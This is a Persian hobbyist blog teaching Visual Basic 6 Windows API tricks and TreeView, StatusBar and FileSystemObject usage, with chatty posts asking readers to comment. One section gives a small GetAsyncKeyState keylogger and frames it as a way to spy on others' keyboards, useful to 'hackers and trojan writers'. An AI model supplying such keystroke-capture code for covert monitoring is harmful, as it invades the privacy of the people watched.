تبليغاتX
Iranian Technology
 
آموزش برنامه نویسی
 
 
آموزش ویژوال بیسیک و ... برای دیدن تمامی مطالب به آرشیو ماهانه مراجعه کنید
 

سلام خدمت تمام رفقا که به وبلاگ سر می زنن و نظر میدن . البته یه عده ای هم بی معرفتن و نظر نمی دن.در هر حال از این که دیر آپ کردم ببخشید .

دلم کلی واستون تنگ شده بود.

امروز چند تا آموزش کاربردی میزارم که به درد همتون میخوره . البته یه مقداری از آموزش ها به درد OpenGL هم میخوره و یه جور پیش نیازه ، ولی من سعی می کنم آموزش OpenGL و مباحث مربوط به اون رو در پست های جداگونه بنویسم.

یه سؤال کوچولو ازتون دارم : دوست دارین از این به بعد در کنار آموزش های Visual Basic آموزش هایی از زبان C++ بزارم . اگه یه کم تحقیق کنید می فهمید که C++ قدرتش خیلی بیشتر از ویژوال بیسیک و امثال این زبون هاست.

یه خواهش بزرگ هم دارم : جواب سؤال بالا رو بدین . یا اصلآ بگین چه جور آموزش هایی بزارم؟

کسایی هم که عشق OpenGL و گرافیک هستند باید دور ویژوال بیسیک رو یه خط قرمز بکشن. چون ویژوال بیسیک برای نوشتن این جور برنامه ها به درد نمی خوره . کسی که OpenGL کار می کنه یه حرفه ای هست برای همین هم باید دو سه تا زبون برنامه نویسی رو حتمآ بلد باشه . از ما  گفتن...

از من میشنوین این آموزش ها رو از دست ندین.

برای دیدن آموزش ها و پاسخ به سؤالات به ادامه ی مطلب بروید ß


ادامه مطلب
 |+| نوشته شده در  سه شنبه بیست و نهم مرداد 1387ساعت 16:48  توسط علی  | 

سلام خدمت دوستان.

وضع نظر دادناتون خیلی خرابه. من که اینهمه آموزش میزارم ارزش یه نظر کوچولو رو ندارم ؟! خیلی بی معرفتین . تنها کسی که به من نظر میده R.S هست که دمش گرم .

R.S از اینکه دیر آپ کردم شرمنده ، همش تغصیر این بی معرفتاست .

ولش کن این حرفا که فایده ای نداره .

در این پست چگونگی استفاده از تکنیک مه یا Fog رو آموزش میدم.امیدوارم بعد از خوندنش حتمآ نظر بدین .

برای دیدن آموزش برین ادامه مطلب  ß


ادامه مطلب
 |+| نوشته شده در  سه شنبه بیست و پنجم تیر 1387ساعت 16:14  توسط علی  | 

سلام دوباره خدمت دوستان علاقه مند به برنامه نویسی گرافیک سه بعدی .

امیدوارم حالتون خوب باشه .

از کلیه افرادی که نظر دادن و از این به بعد می خوان نظر بدن ممنونم.

در این پست با نحوه ی تکنیک Blending یا به زبون خودمون مخلوط کردن رنگ ها باهم آشنا میشیم.

همچنین در این پست درباره ی DepthTesting هم صحبت می کنیم . بعد از اونا هم چند تا آموزش کاربردی . از من میشنوین حتمآ آموزش های کاربردی رو بخونید وگرنه نصف زندگی تون در فناست (البته بی ادبی نباشه).

خوب برای دیدن آموزش ها برین ادامه مطلب ß
ادامه مطلب
 |+| نوشته شده در  جمعه هفتم تیر 1387ساعت 21:53  توسط علی  | 

سلام.

اول از همه ولادت حضرت فاطمه (س) و روز مادر رو به شما تبریک می گم .

از کلیه دوستانی که نظر دادن ممنونم . به خصوص R.S بابا مگه ساعت ۶ صبح تو خواب نداری نظر میدی .  از این که دیر آپ کردم شرمنده .  
چند تا از دوستان نظر داده بودن و سؤالاتی رو پرسیده بودن که پاسخ همه ی دوستان رو آخر همین پست گذاشتم . بازم از اینکه دیر آپ کردم شرمنده ولی دیگه از این به بعد زود آپ می کنم.
 

اما امروز ...  . در پست امروز به چگونگی نور پردازی در OpenGL می پردازیم . برای دیدن آموزش برین ادامه مطلب ...


ادامه مطلب
 |+| نوشته شده در  چهارشنبه پنجم تیر 1387ساعت 20:2  توسط علی  | 

سلام به همه ی علاقه مندان به برنامه نویسی . من دوباره پیدام شد .  اونم بعد یه عمر . میدونم منو بخشیدید  . نبخشیدید ؟  به زور هم که شده باید منو ببخشید.

قبل از اینکه حرفی بزنم خیلی خیلی ازتون گله دارم . اینقدر نظرات زیاد بود که کلافه شدم. بابا بی معرفتا این وضع نظر دادنه . از ۶ فروردین تا حالا فقط ۴ تا نظر؟!.  زیاد بود نه ؟   من اول هر پستی میام یه ساعت در مورد نظر دادن شما حرف می زنم تا شما یه کم معرفت به خرج بدین. ولی خوب مث این که فایده ای نداره .  کلآ از وبلاگ و این جور چیزا دیگه ناامید شدم. مارو باش توی امتحان ها برای شما مطلب میزارم . .. هی ..... توی دلت چی گفتی ؟؟؟  زود باش بگو .

البته اون چهار نفری هم که نظر دادن دمشون گرم . تازه لازمه بگم از اون ۴ تا نظر ۲ تاشون تبلیغ مبلیغ بود !! فعلا بی خیال ای حرفا .

امروز ادامه ی مبحث بافت ها در OpenGL رو پی میگیریم . بعد از اون هم چندتا آموزش کاربردی گذاشتم که واقعآ خیلی به درد میخورن و من هم به شما پیشنهاد میکنم حتمآ بخونید وگرنه از دستتون پریده .

برای دیدن ادامه مبحث OpenGL برین ادامه مطلب ------->  خوش بگزره ... 

 


ادامه مطلب
 |+| نوشته شده در  چهارشنبه پانزدهم خرداد 1387ساعت 17:27  توسط علی  | 

اختصاص بافت Texture به اشکال سه بعدی و اشکال کلاس Quadric :

 

با سلام خدمت دوستان . عیدتون مبارک .

از این که یه چهار پنج ماهی نبودم شرمنده . توی این چند وقت فقط هشت تا نظر دادین واقعآ دمتون گرم. بعد یه عمر یه کارت اینترنت یه ساعته گیر آوردم به عشق پست کردن عیدی شما و دادن یه عیدی بی ارزش به شما دوستان اما با این نظرات حالمو گرفتین . بابا دمتون گرم گل کاشتین. این حرفهایی که زدم برای کسایی بود که میان داخل ویلاگ اما هیچ نظری نمیدن.

اما شما دوستان. حالتون خوبه . خوب اللهی شکر.

 

خوب بریم سر آموزش بدون مقدمه :

 

برای دیدن آموزش برین ادامه مطلب.


ادامه مطلب
 |+| نوشته شده در  سه شنبه ششم فروردین 1387ساعت 10:52  توسط علی  | 
با سلام خدمت دوستان . از اینکه دیر به دیر وبلاگ رو  به روز میکنم ببخشید. از کلیه دوستانی که نظر میدن ممنونم.کلیه کسانی که نظر نمیدن هم خیلی نامردن.
امروز آموزش کار با کنترل Winsock را آموزش میدم و بعد هم دو تا برنامه میسازیم که شبیه برنامه چت هست. بعد از اون هم چند تا تابع کاربردی و چند تا آموزش کاربردی. امیدوارم به دردتون بخوره .

برای دیدن آموزش ها به ادامه مطلب بروید.


ادامه مطلب
 |+| نوشته شده در  چهارشنبه بیست و ششم دی 1386ساعت 21:25  توسط علی  | 
سلام بچه ها حالتون خوبه .  اين جمله پاييني رو مطمئنم که خيلي شنيديد
از اينکه يه چند وقتي نبودم واقعآ شرمندم اين يکي دو ماهه درگير درس و مدرسه و مخش پخش بودم. کلي دلم براتون تنگ شده بود. اميدوارم منو بخشيده باشيد و منو از ياد نبرده باشيد.

دو سه روز بود که مي خواستم يه مطلبي بنويسم اما چون چيزي به نظرم نميرسيد که آموزش بدم نتونستم تا اينکه امروز به بهونه يک آموزش کوچولو ولي کاربردي اومدم .

قبل از اينکه کارم رو شروع کنم بايد از کساني که به من و به وبلاگ خودشون نظر ميدن تشکر کنم. همچنين از داداش کامران هم به خاطر مطالبي که گذاشتن ممنونم .

پاسخ به دو سه تا نظر ( خيلي کمه بابا ابروي مارو شما يه روزي پيش رفيق رفقا مي بريد. ولي عيبي نداره نوبت منم ميشه .) و بعد هم ميريم سر آموزش.

زينب از من کمکي خواسته بود که متآسفانه نه پاسخشو بلد بودم(الگوريتم انحصاري چي چيه ديگه؟) و نه با اينترنت و وبلاگ در ارتباط بودم . شرمنده.


  الهام گفته بود که ميخواد مربع هاي تو در تو بسازه  براي اين کار شما بايد مختصات Z مربع بزرگتون از همه بيشتر باشه و مختصات Z مربع کوچيکتون هم از همه کمتر(البته در حالت منفي) باشه به عبارت ديگه مربع بزرگه بايد زير همه مربع ها باشه . اگه اين توضيحات کمکت کرد ( فکر نمي کنم چون خودم نفهميدم چي گفتم)خوب الحمد الله در غير اين صورت بگو سورسشو برات بزارم .

آقا داوود دستور داده بودن آموزش کاربا کنترل WinSock رو آموزش بدم که ميگم :
نمي تونم  .................................  شوخي کردم بابا ميگم : به چشم قربان اما جلسه ديگه چون که الآن ميخوام آموزشهاي زير رو بدم:


کار با کنترل هاي :TreeView (نمايش درختي) - StatusBar (نوار وضعيت)

براي اضافه کردن اين کنترلها به جعبه ابزار ويژوال بيسيک اين کارا رو انجام بدين:
?- از منوي Project > Components  را بزنيد يا کليدهاي crtl + T را بزنيد که در اين صورت کادر محاوره اي Components باز ميشود که در سربرگ(Tab) به نام Controls ليستي از کنترل هاي شناخته شده توسط ويژوال بيسيک مي آيد که شما بايد به دنبال Microsoft Windows Common Controls 6.0(SP4)  a بگردين و تيک کنار اون رو فعال کنيد و بعد هم OK کنيد.

TreeView

شما حتمآ حالت نمايش درختي را ديده ايد و بسيار از امکانتش بهرهمند شده ايد.
براي اينکه ياد بگيرين از اين کنترل چگونه استفاده کنيد ابتدا بايد بدانيد که ساختار درختي به صورتي است که در آن يک شاخه اصلي وجود دارد که شاخه هاي فرعي به آن منتصل شده اند. به شاخه هاي فرعي گره(Node)هم گفته مي شود. ما بايد ابتدا شاخه اصلي يا تنه را بسازيم و بعد گره ها را درست کنيم. براي يادگيري کامل به مثال زير توجه کنين:

ابتدا يک کنترل TreeView از جعبه ابزار به فرم اضافه کنيد . حالا اندازه آن را به طور دلخواه تغيير دهيد . روي فرم دابل کليک کنيد تا پنجره کدها و روال Form_Load باز شود.
حالا يک متغير از نوع Node به اسم MainNode تعريف مي کينم به اين صورت:
Dim MainNode as Node
و بعد هم یک متغیر دیگه به اسم ChidNode

Dim ChildNode as Node

بعد هم باید شروع کنیم به ست کردن متغیر ها . برای درست کردن شاخه اصلی به این صورت عمل میکنیم:

Set MainNode = TreeView1.nodes.add( , , "Main" , "Main") 'x

حالا ما شاخه اصلی رو ساختیم . بهتره الآن یه بار برنامه را اجرا کنید و نتیجه را  ببینید.
شما میتونید به تعداد دلخواه شاخه درست کنید فقط کافیه به جای Main یک اسم دیگه بزارید.
برای ساختن گره ها یا شاخه های فرعی به جای ست کردن متغیر MainNode متغیر ChildNode را ست می کنیم . توجه داشته باشید که اگر بخواهید یک شاخه فرعی یا گره رو به یک تنه ( که در اینجا اسم تنه Main هست) متصل کنیم باید به صورت زیر عمل کنیم:

Set ChildNode = TreeView1.Nodes.Add("Main" , tvwChild , "Node1" , "Node1")  'x

همون طور که در خط بالا  می بینید آرگومان اول Nodes.Add را برابر اسم تنه گذاشتیم و در آرگومان دوم از ثابت tvwChild استفاده کردیم که نشان دهنده این است که گره ای که قرار است اضافه شود زیر شاخه Main است. آرگومان سوم کلمه کلیدی یا یک شناسه است که برای گره ای که ساخته ایم قرار میدهیم در آرگومان چهارم هم خاصیت Text یا به عبارت دیگر کلمه ای که قرار است نمایش داده شود را اضافه کردیم.

در این حالت هم شما می تونید به تعداد دلخواه گره درست کنید فقط باید "Node1" رو در دو آرگومان آخر تغییر بدین.

توضیحات بالا در کل به این صورت است:

Private Sub Form_Load() 'x

Dim MainNode as Node
Dim ChildNode as Node

Set MainNode = TreeView1.Nodes.Add(,, "Main" , "Main")  'x
Set ChildNode = TreeView1.Nodes.Add ( "Main" , tvwChild , "Node1" , "Node1") 'x

End Sub

شاید با این توضیحات درهم من چیزی دستگیرتون نشده باشه. در هر حال برای اینکه خوب بتونم آموزشم رو کامل کنم از یکی دو تا مثال استفاده می کنم.

مثال ۱ : نمایش درایو های موجود در My Computer .
 یک پروژه جدید از نوع استاندارد باز کنید سپس یک کنترل TreeView به فرم برنام اضافه کنید و خاصیت آن را برابر TreeView1 قرار دهید .
حالا روی فرم برنامه دابل کلیک کنید تا روال Form_Load باز شود . کدهای زیر رو بنویسید.

Private Sub Form_Load()

Dim N as Node
Dim FSO , Drives
Set N = TreeView1.Nodes.Add(, , "HD" , "My Computer")   'x
set Fso = CreateObject("Scripting.FileSystemObject")   'x
Set Drives = Fso.Drives

For Each Drive In Drives
If Drive.isready then Set N = TreeView1.Nodes.Add("HD" , tvwChild , drive , drive)  'x
Next

End Sub

کنترل TreeView قابلیت های بسیاری داره مثل اضافه کردن یک عکس یا + و - در کنار گره ها. اگه خواستین بگین تا بعضی از قابلیت هاش رو براتون آموزش بدم. 


Status Bar

کار با کنترل Status Bar بسیار سادست و نیازی به توضیحات بسیار زیاد نداره.

براي اضافه کردن اين کنترلها به جعبه ابزار ويژوال بيسيک اين کارا رو انجام بدين:
?- از منوي Project > Components  را بزنيد يا کليدهاي crtl + T را بزنيد که در اين صورت کادر محاوره اي Components باز ميشود که در سربرگ(Tab) به نام Controls ليستي از کنترل هاي شناخته شده توسط ويژوال بيسيک مي آيد که شما بايد به دنبال Microsoft Windows Common Controls 6.0(SP4)  a بگردين و تيک کنار اون رو فعال کنيد و بعد هم OK کنيد.

حالا کنترل Status Bar به جعبه ابزار شما اضافه شده . یکی از این کنترل ها رو به فرم برنامه اضافه کنید.
هر کنترل StatusBar یک خاصیت به نام Panels دارد که هر پنل یک خانه در StatusBar است.

هنگامی که شما یک کنترل StatusBar به فرم برنامه تون اضافه می کنید به صورت پیش فرض یک پنل برای شما ساخته می شود . اگر می خواهید تعداد پنل ها را زیاد کنید از کد زیر استفاده کنید.

StatusBar1.Panels.Add  2 , , "Iran"            'x

در خط بالا ۲ نشان دهنده ی شماره اندیس پنل جدید است. اگر میخواهید بیش از دو پنل داشته باشید کافی است خط بالا را دوباره بنویسید و ۲ را به ۳ تغییر دهید.

مثال:نمایش ساعت در StatusBar .
ابتدا یک کنترل StatusBar به فرم اضافه کنید و به خاصیت Name کنترل دست نزنید. یک تایمر هم به فرم اضافه کنید  و خاصیت Interval کنترل تایمر رو به ۱۰۰۰ تغییر دهید . از منوی View روی Code کلیک کنید تا پنجره کدها باز شود و کدهای زیر رو بنویسید.

Private Sub Timer1_Timer

StatusBar1.Panels(1).Text = Time

End Sub


خوب این پست هم تموم شد.
نظر یادتون نره.
خداحافط شما.

 |+| نوشته شده در  پنجشنبه هشتم آذر 1386ساعت 16:1  توسط علی  | 
سلام بچه ها اول از هر چیز باید بگم که از اینکه یه چند وقتی نبودم خیلی خیلی معذرت می خوام. دیگه باید به بزرگی خودتون منو ببخشید. دومین چیزی که میخام بگم اینه که:

از کلیه افرادی که در زمینه رایانه به خصوص برنامه نویسی (هر جور زبان برنامه نویسی که بلدین) تجربه دارند دعوت به همکاری میکنم. فقط کافیه یه نظر کوچولو بدین.!.!.!

سومین چیزی که قراره بگم اینه که از این به بعد شروع میکنم به آموزش زبان Visual C++ 6 و Visual C++ 2005 . البته آموزش های ویژوال بیسیک هم میزارم. اگه دوست داشتین چگونگی برنامه نویسی با زبان قدرتمند C رو یاد بگیرین با یه نظر کو چولو به من بگین البته اگر هم دوست نداشتین بازم لطف کنید و  بگین.

همچنین از کلیه افرادی که به من نظر میدن خیلی خیلی ممنونم مخصوصآ دوست عزیز و گرامی آقا حسین.

در ادامه مطلب چند تا تابع API و طریقه کارکرد اونها رو توضیح دادم اگه مایل بودید یه سری بزنید به ادامه مطلب.


ادامه مطلب
 |+| نوشته شده در  سه شنبه سیزدهم شهریور 1386ساعت 11:29  توسط علی  | 
سلام بچه ها از کلیه افراد برنامه نویسی که علاقه دارن در این وبلاگ مطالبی رو بنویسن اعلام همکاری میشود . فقط کافیه یه نظر کوچولو بدید.

در ضمن پست های پاین رو آپدیت کردم. نظرتون رو را جع به پست پایین بگین.


ادامه مطلب
 |+| نوشته شده در  پنجشنبه یازدهم مرداد 1386ساعت 12:26  توسط علی  | 

با سلام خدمت تمام بروبچ گل ایران.
از اینکه یه چند روزی آپ نکردم شرمنده .

اول از همه یه فایل OCX برای دانلود براتون گذاشتم که خیلی به کارتون میاد. کار این فایل OCX اینه که شما میتوانید با اون برنامه های خودتون رو با ظاهری بسیار زیبا درست کنین.
اینم لینک دانلودش >> بفرماید دانلود کنید


معرفی یه تابع API کاربردی:

این تابع در هنگام بارگذاری فرم شما  برنامه شما را به صورت انیمیشن باز میکنه که خیلی جالبه.!!
برای مثال در قسمت جنرال پنجره کدها کدهای زیر رو بنویسید:

Private Declare Function AnimateWindow Lib "User32.dll"(ByVal  hWnd as Long ,ByVal_
dwTime As Long , Byval dwFlags as Long) as Boolean

Private Const  AW_HOR_POSITIVE = &H1
Private Const  AW_HOR_NEGATIVE = &H2
Private Const  AW_VER_POSITIVE = &H4
Private Const  AW_VER_NEGATIVE = &H8
Private Const  AW_CENTER = &H10
Private Const  AW_HIDE = &H10000
Private Const  AW_ACTIVATE = &H20000
Private Const  AW_SLIDE = &H40000
Private Const  AW_BLEND = &H80000

حالا در روال Form_Load کدهای زیر رو بنویسید.

Private Sub Form_Load

AnimateWindow  Me.hWnd , 1000 , AW_CENTER
Me.Cls

End Sub

حالا یک دکمه فرمان(Command1) روی فرم خودتون قرار بدین سپس کدهای زیر رو بنویسید.

Private Sub Command1_Click

AnimateWindow  Me.hwnd  , 1000 , AW_CENTER  OR  AW_HIDE

End

End Sub

حالا برنامتون رو اجرا کنین و حالشو ببرین.


بستن یک پنجره خاص با ویژوال بیسیک مثلا My Computer.
برنامه ویژوال بیسیک رو باز کنید . سپس روی فرم خودتون یک جعبه متن (TextBox) و یک تایمر(Timer1) ویک عدد دکمه فرمان(Command1) قرار دهید. خالا از منوی Project گزینه ViewCode را بزنید تا پنجره کدها باز شود. در قسمت جنرال کدهای زیر را بنویسید:

Private Declare Function FindWindowA Lib "User32.dll"(ByVal lpClassName as String , ByVal lpWinowName as String ) as Long

Private Declare Function SetForegroundWindow Lib "User32.dll"(byVal hWnd as Long)as Long

خوب حالا روی دکمه فرمان (Command1) دوبار کلیک کنید و کدهای زیر رو بنویسید:

Private Sub Command1_Click

Timer1.Interval = 250

End Sub

خوب حالا روی تایمر دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Timer1_Timer

Temp = FindWindowA(vbNullString , Text1.Text)  'X
If Temp <> 0 Then
SetForegroundWindow Temp
SendKeys "%{F4}"        'X
End If

Timer1.Interval = 0
End Sub

خوب میدونید که ما در ابتدا دو تا تابع API رو معرفی کردیم که کار این توابع به این صورته:

تابع FindWindowA همان طور که از شکل و قیافش معلومه نام و عنوان یک پنجره (Window) رو میگیره و در عوضش هندل اون پنجره که یک عدد صحیح است رو به ما میده.
تابع SetforegroundWindow هندل یک پنجره رو میگیره و در عوض اون پنجره رو برای ما فعال میکنه.

شاید شما با تابع SendKeys آشنا نباشید ( مقدماتی ها). این تابع مانند صفحه کلید عمل میکنه به طوری که در مثال بالا علامت % به جای کلید Alt فشرده میشه و {F4} هم کلید F4 رو میزنه که نتیجه بسته شدن پنجره فعال است.

امید وارم با این توضیحات درهم برهم من مطلب و فهمیده باشین!!!

حالا برنمتون رو اجرا کنید و در جعبه متن عبارت My Computer رو وارد کنید . حالا یک پنجره از My Computer رو باز کنید . روی دکمه فرمان برنامتون کلیک کنید و حالشو ببرید.



دوباره میریم سراغ FileSystemObject یا همون FSO :

در پست های قبلی یه مقدار درباره شئ FSO صحبت کردم اما دراینجا دو تا موضوع دیگه رو میگم که قبلا نگفته بودم.!!

موضوع اول: چگونگی به دست آوردن مسیرهای Windows , Temp , System32 به کمک شئ FSO . شما اگه پست قبلی من رو خونده باشید میدونید که چطور میشه از امکانات (FSO(FileSystemObject استفاده کرد اما من در اینجا با ذکر یک مثال به شما آموزش میدم که چطور از امکانات FSO استفاده کنید.

ویژوال بیسیک رو باز کنید و یک پروژه جدید از نوع استاندارد درست کنید. حالا یک یک دکمه فرمان(Command1) روی فرم قرار دهید و بعد از دوبار کلیک کردن بر روی دکمه فرمان قطعه کد زیر رو بنویسید:

Private Sub Command1_Click

Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject") 'X
MsgBox  FSO.GetSpecialFolder(0)   'X
Set FSO = Nothing

End Sub

همون طور که می بینید در خط دوم یک متغیر به نام FSO تعریف کردیم . در خط سوم با کمک تابع CreateObject شئ FSO را برای دسترسی به امکاناتش فراخوانی کردیم. در خط چهارم با کمک جعبه پیام مسیر پوشه های مهم سیستم عامل را به نمایش گذاشتیم.در خط آخر نیز فضای اختصاص داده شده به شئ FSO را آزاد کردیم.

توجه: همان طور که در قطعه کد بالا مشاهده می کنید در خط MsgBox FSO.GetSpecialFolder عدد صفر(0) را با یک رنگ دیگر نوشتم . شما می توانید اعداد ۱ و ۲ را نیز امتحان کنید و حالشو ببرید.

 

موضوع دوم : پاک کردن فایل ها و فولدر ها به کمک شئ FSO که در ادامه توضیح خواهم داد.

۱ - پاک کردن فایل ها :
برای اینکه شما بتوانید با کمک شئ FSO فایلی را پاک کنید باید به این صورت عمل کنید:
یک TextBOX و یک Command روی فرم خود قرار دهید سپس بعد از دوبار کلیک کردن بر روی دکمه فرمان کدهای زیر رو به پروژه تون اضافه کنید:

Private Sub Command1_Click

Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")  'X
FSO.DeleteFile  Text1.Text 
set FSo = Nothing

End Sub

حالا برنامتون رو اجرا کنین و با وارد کردن مسیر یک فایل در تکست بوکسی که در روی فرمتون قرار داره و بازدن دکمه فرمان اون فایل رو از روی هارد دیسکتون محو نابود کنید.!!!

بازم توجه: مسیر فایلی که در TextBox می نویسید باید مثل این باشد: C:\Ali.txt یعنی حروف بزرگ و کوچک رعایت شود و فرمت نیز ذکر شود.


بازم یه کار جالب دیگه:

عوض کردن تصویر پشت زمینه با ویژوال بیسیک:

در اینجا ما به کمک یک تابع API به نام SystemParametersInfo تصویر پشت زمینه(یا همون Desktop )رو عوض میکنیم. خوب برای این کار به این صورت پیش برید:
ابتدا به پروژه جدید از نوع استاندارد باز کنید . یک عدد تکست بوکس (Text1) و یک عدد دکمه فرمان(Command1) به فرم خود اضافه کنید سپس کدهای زیر رو در پنجره کدها(منوی Project > ViewCode ) بنویسید:

Private Declare Function SystemParametersInfo Lib "User32" Alias "SystemParametersInfoA"(ByVal uAction As Long, ByVal uParam As Long , ByVal lpvParam as Any , ByVal fuWinIni as Long) as Long

Private Const SPI_SETDESKWALLPAPER = 20
Private Const SPIF_UPDATEINIFILE = &H1

Private Sub Command1_Click

If Text1.Text <> "" Then
SystemParametersInfo SPI_SETDESKWALLPAPER , 0 , Text1.Text , SPIF_UPDATEINIFILE
Else
MsgBox "Error" , vbCritical + vbOkOnly
End If

End Sub

خوب حالا برنامتون رو اجرا کنید. در تکست بوکس (Text1) روی فرم بنویسید:
C:\Windows\Web\Wallpaper\Bliss.bmp
و بعد دکمه فرمان (Command1) را کلیک کنید تا تصویر پشت زمینه (DeskTop) عوض بشه.

خوب چطور بود...

هی تو دلت نگو در قسمت نظرات وبلاگ بگو!!

 


پاک کردن سطل آشغال :

خوب در اینجا ما به کمک یه تابع API سطل زباله رو پاک میکنیم . نام تابع API تابع SHEmptyRecycleBin هست که جزء توابع کتابخانه قدرتمند Shell می باشد.
ابتدا یک پروژه حدید از نوع استاندارد باز کنید . حالا یک عدد دکمه فرمان (Command1)روی فرم خود قرار دهید سپس کدهای زیر رو در داخل پنجره کدها(View Code ) بنویسید.

Private Declare Function SHEmptyRecycleBin Lib "Shell32.dll" Alias "SHEmptyRecycleBinA"(Byval hWnd as Long , ByVal pszRootPath as String,ByVal dwFlags as Long) as Long

Private Sub Command1_Click

On Error Resume Next
SHEmptyRecycleBin 0 , "" , &H2

End Sub

حالا برنامه را اجرا کنید . بعد از زدن دکمه فرمان(Comand1) اخطار آیا مطمئن هستید فایل ها پاک شوند به شما نمایش داده میشود .


ساده ترین راه برای Always on Top ( فرم برنامه همیشه فعال باشد) کردن فرم برنامه:

در اینجا ما به کمک تنها یک خط کد فرم خود را در حالت Always On Top قرار می دهیم البته به غیر از تعریف تابع میشه یک خط!!

نام تابع هست :>:> BringWindowToTop که از جمله توابع کتابخانه User32 است.
برای این کار در روی فرم خود یک عدد تایمر قرار بدید و خاصیت Interval تایمر رو برابر ۵۰ کنید. حالا کدهای زیر رو در پنجره کدها بنویسید:

Private Declare Function BringWindowToTop Lib "User32.dll"(ByVal hWnd as Long)as Long

Private Sub Timer1_Timer

BringWindowToTop Form1.hWnd

End Sub

حال کردین ها !!

حال نکردین؟؟

 

 |+| نوشته شده در  پنجشنبه یازدهم مرداد 1386ساعت 12:2  توسط علی  | 
سلام بچه ها . از اینکه یه شیش هفت روزی آپدیت نکردم شرمنده کارهای زیاد و مهمی داشتم در هر صورت امیدوارم ناراحت نشده باشین.
نظر هارو خوندم . مثل اینکه برنامه جلسه قبل مشکل داشت که من سورس اون رو برای دانیود گذاشتم.
بفرمایید:دانلود کنید
نوش جونتون.

اگه احیانا بازم مشکلی پیش اومد فقط کافیه یه نظر کوچولو بدین.

در این جلسه به صورت موقت آموزش OpenGL رو کنار گذاشتم و میخوام آموزش های جالب دیگه ای به شما دوستان عزیز بدم . البته در جلسه بعدی آموزش OpenGL با خبرهای خوش میخوام براتون بزارم پس نگران آموزش OpenGL نباشید.

مطمئنم از این آموزش ها خوشتون میاد. میگی نه بخون!



پخش فایل های صوتی در ویژوال بیسیک:

شاید شما تا حالا کنترل MultiMedia ویژوال بیسیک رو دیده باشید و با اون کار کرده باشید اما در اینجا ما بدون کمک گرفتن از این کنترل میخواهیم چگونگی پخش فایل های صوتی رو بلد شیم.

برای پخش فایلهای صوتی باید از توابع API ویندوز استفاده کنیم که ما در ینجا از تابع sndPlaySound استفاده کرده ایم .
برای استفاده از توابع API ویندوز (همون طور که در جلسات قبل گفتم ) باید آنها را Declare کنیم .
کدهای زیر را در قسمت General فرم خود بنویسید:

Private Declare Function sndPlaySound lib "winmm.dll" Alias "sndPlaySoundA"(ByVal _
lpszSoundName as String , uFlags as Long) as Long

تابع sndPlaySound دارای دو آرگومان میباشد که ارگومان اول(lpszSoundName)مسیر و نام فایل صوتی است و آرگومان دوم (uFlags) با ثابت هایی که میگیرد چگونگی پخش را کنترل میکند. در زیر تعدادی از ثابت های آرگومان دوم توضیح داده شده است:

SND_ASYNC : در صورتی که این ثابت را انتخاب کنید در زمان پخش فایل صوتی می توانید کارهای عادی دیگر خود را انجام دهید.

SND_SYNC : با انتخاب این ثابت در زمان پخش فایل صوتی تا وقتی که فایل صوتیمان بپایان نرسیده کار دیگری نمی توانیم انجام دهیم.

SND_LOOP : با انتخاب این ثابت فایل صوتی به صورت مکرر پخش خواهد شد.

SND_NODEFAULT : با انتخاب این ثابت اگر فایل صوتی در مسیر تعیین شده وجود نداشت صوتی پخش نمی شود.

اگر بخواهید از دو یا چند ثابت به طور همزمان استفاده کنید باید با نوشتن OR دو ثابت را با هم بیاورید.

بعد از تعریف کردن تابع API در همان جا (یعنی قسمت General فرم) ثابت های بالا را تعریف کیند:

Private Const  SND_ASYNC = &H1
private Const  SND_LOOP = &H8
Private Const  SND_NODEFAULT = &H2
private Const  SND_SYNC = &H0

حالا در وسط فرم خود یک دکمه فرمان (Command1) قرار دهید و روی آن دوبار کلیک کنید تا به پنجره کدها بروید.سپس کدهای زیر را بنویسید:

Private Sub Command1_Click

sndPlaySound  "FileName" , SND_ASYNC  OR SND_NODEFAULT

End Sub

در قطعه کد بالا به جای "FileName" مسیر و نام فایل صوتی با فرمت Wav. را بنویسید.برنامه را اجرا کنید و حالشو ببرید.


جاسوسی از کیبورد:

با استفاده از این تابعی که آموزش میدم شما میتونید از کیبورد خودتون یا هرکس دیگه جاسوسی کنید.
البته این کار بیشتر به درد هکرها و تروجان نویس ها میخوره.

یک پروژه جدید باز کنید و در فرم خود یک Label , Timer قرار دهید سپس در پنجره کد کدهای زیر را بنویسید:

Private Declare Function GetAsyncKeyState Lib "user32.dll"(Byval vKey as long)as Integer

Private Sub Timer1_Timer

Dim J
For I = 0 To 255
J = 0
J = GetAsyncKeyState(I)       'X
If J <> 0 Then
Label1.Caption = Label1.Caption  &  Chr(I)    'X
End If
Next

End Sub

برنامه خودتون رو اجرا کنید و با زدن کلیدهای کیبورد نتیجه رو ببینید.راستی خاصیت AutSize کنترل Label را برابر True کنید.


تغییر دادن زبان صفحه کلید:

مثل قبل یک پروژه جدید باز کنید و دو دکمه فرمان (Command1 , Command2 ) روی فرم قرار دهید . از منوی View گزینه Code را بزنید تا پنجره کدها باز شود. سپس کدهای زیر را در پنجره کدها بنویسید:

Private Declare Function LoadKeyboardLayout Lib "user32.dll" Alias "LoadKeyboardLayoutA"(Byval pwszKLID as String , ByVal Flags as long ) as Long

Private Sub Command1_Click

LoadKeyboardLayout  "00000429" , 1

End Sub

Private Sub Command2_Click

LoadKeyboardLayout  "" , 1

End Sub

در قطعه کد بالا با زدن دکمه فرمان ۱ (Command1)زبان صفحه کلید فارسی میشود و بازدن دکمه فرمان۲ زبان صفحه کلید به انگلیسی مبدل میشود.


انجام اعمالی از جمله کپی/انتقال/ساختن/حذف و نمایش  فایلها و فولدرها:

در اینجا  من یک شئ برای شما تعریف میکنم که کارهای زیادی بر روی فایل ها و فولدر ها انجام میده :

شئ FileSystemObject :
برای استفاده از این شئ و بهره بردن از امکاناتش ابتدا باید آن را به برنامه خود اضافه کنیم در زیر مثالی آمده است که باعث میشود تمامی درایوهای شما در یک لیست بوکس نمایش داده شود.

ابتدا یک پروژه جدید باز کنید . سپس یک لیست بوکس (ListBox ) از جعبه ابزار به فرم خود اضافه کنید. حال یک دکمه فرمان(Command1) را در فرم خود قرار دهید سپس روی دکمه فرمان خود دوبار کلیک کنید تا پنجره کدها باز شود.کدهای زیر را بنویسید:

Private Sub Command1_Click

Dim FSO , Drives

Set FSO = CreateObject("Scripting.FileSystemObject")        'X
Set Drives = FSO.Drives

For Each Drive in Drives
if Drive.isready Then
List1.AddItem  Drive
End If
Next

حالا برنامه خودتون رو اجرا کنید و با زدن دکمه فرمان لیست درایو های خودتان را ببینید.به همین سادگی شما خودتان یک کنترل DriveListBox ساختید!

